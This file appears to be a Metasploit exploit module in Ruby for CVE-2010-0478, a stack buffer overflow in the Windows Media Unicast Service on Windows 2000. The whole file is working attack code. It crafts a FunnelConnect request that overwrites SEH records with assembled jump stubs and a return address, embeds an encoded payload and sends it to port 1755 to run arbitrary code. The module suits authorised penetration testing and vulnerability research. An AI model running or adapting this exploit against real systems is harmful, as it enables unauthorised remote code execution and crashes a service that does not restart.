class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Media Services ConnectFunnel Stack Buffer Overflow',
'Description'=> %q{
This module exploits a stack buffer overflow in the Windows Media
Unicast Service version 4.1.0.3930 (NUMS.exe). By sending a specially
crafted FunnelConnect request, an attacker can execute arbitrary code
under the "NetShowServices" user account. Windows Media Services 4.1 ships
with Windows 2000 Server, but is not installed by default.
NOTE: This service does NOT restart automatically. Successful, as well as
unsuccessful exploitation attempts will kill the service which prevents
additional attempts.
},
'Author' => 'jduck',
'License'=> MSF_LICENSE,
'Version'=> '$Revision: 9166 $',
'References' =>
[
[ 'CVE', '2010-0478' ],
[ 'OSVDB', '63726' ],
[ 'MSB', 'MS10-025' ],
[ 'URL', 'https://www.lexsi.com/abonnes/labs/adviso-cve-2010-0478.txt' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload'=>
{
'Space'=> 600,
'BadChars' => "\x00\x5c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets'=>
[
[ 'Windows 2000 Pro SP4 English',
{
'Offset' => 840,
'SEHOffsets' => [ 832, 840 ],
'EIPOffset' => 652+3,
'Ret' => 0x75022ac4
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Apr 13 2010',
'DefaultTarget'=> 0))
register_options(
[
Opt::RPORT(1755)
], self.class)
end
def exploit
@pkts = 0
cmd_buf = ''
subscriber = "NSPlayer/4.1.0.3928; {68c0a090-8797-11d2-a2b3-00a0c9b60551}"
subscriber << "\x00"
subscriber = Rex::Text.to_unicode(subscriber)
cmd_buf << make_command(0x30001, subscriber)
name = ''
name << "\\\\"
name << rand_text((target['Offset'] + 4 + 5) / 2)
name << "\\"
name << "\x00"
name = Rex::Text.to_unicode(name)
stuff = Rex::Text.pattern_create((target['Offset'] + 4 + 5) + 4)
stuff.slice!(0,4)
name[4,stuff.length] = stuff
name[4,payload.encoded.length] = payload.encoded
target['SEHOffsets'].each { |off|
seh = ''
case off
when 832
code = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-652").encode_string
code << rand_text(8 - code.length)
name[off-8,code.length] = code
seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-8").encode_string
seh << rand_text(2)
seh << [target.ret].pack('V')
when 840
seh << generate_seh_record(target.ret)
asm = "add edi, 0x04\njmp edi"
seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encode_string
end
name[off,seh.length] = seh
}
off = target['EIPOffset']
name[off,1] = [0x80 + rand(0x7f)].pack('C')
cmd_buf << make_command(0x30002, name)
pkt = make_tcpmsghdr(cmd_buf)
connect
print_status("Sending crafy commands (#{pkt.length} bytes) ...")
sock.put(pkt)
handler
disconnect
end
def make_tcpmsghdr(data)
len = data.length
raise RuntimeError, 'Length too big' if (len > 0x1000)
len /= 8
pkt = [
1,0,0,0,
0xb00bface,
data.length + 16,
0x20534d4d,
len + 2,
@pkts, 0,
rand(0xffffffff),rand(0xffffffff)
].pack('CCCCVVVVvvVV')
pkt << data
left = data.length % 8
pkt << ("\x00" * (8 - left)) if (left > 0)
pkt
end
def make_command(msg_id, extra)
case msg_id
when 0x30001
data = [0xf0f0f0f0,0x0004000b,0x0003001c].pack('VVV')
when 0x30002
data = [0xf0f0f0f1,0xffffffff,0,0x989680,0x00000002].pack('VVVVV')
end
data << extra
left = data.length % 8
data << ("\x00" * (8 - left)) if (left > 0)
pkt = [
(data.length / 8) + 1,
msg_id
].pack('VV')
pkt << data
pkt
end
end